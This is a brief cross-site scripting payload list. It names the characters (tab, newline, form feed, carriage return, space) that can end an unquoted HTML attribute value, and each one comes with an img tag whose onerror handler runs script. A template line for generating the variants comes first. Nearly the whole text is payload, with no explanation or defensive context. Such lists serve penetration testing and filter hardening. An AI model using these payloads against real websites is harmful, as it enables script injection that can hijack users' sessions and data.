Characters that can be used to end unencapsulated HTML attribute values.
<img src=x$[chr]onerror=log($[i])><img src=x0x09onerror=alert(9)><img src=x
onerror=alert(10)><img src=x0x0Conerror=alert(12)><img src=x0x0Donerror=alert(13)><img src=x onerror=alert(32)>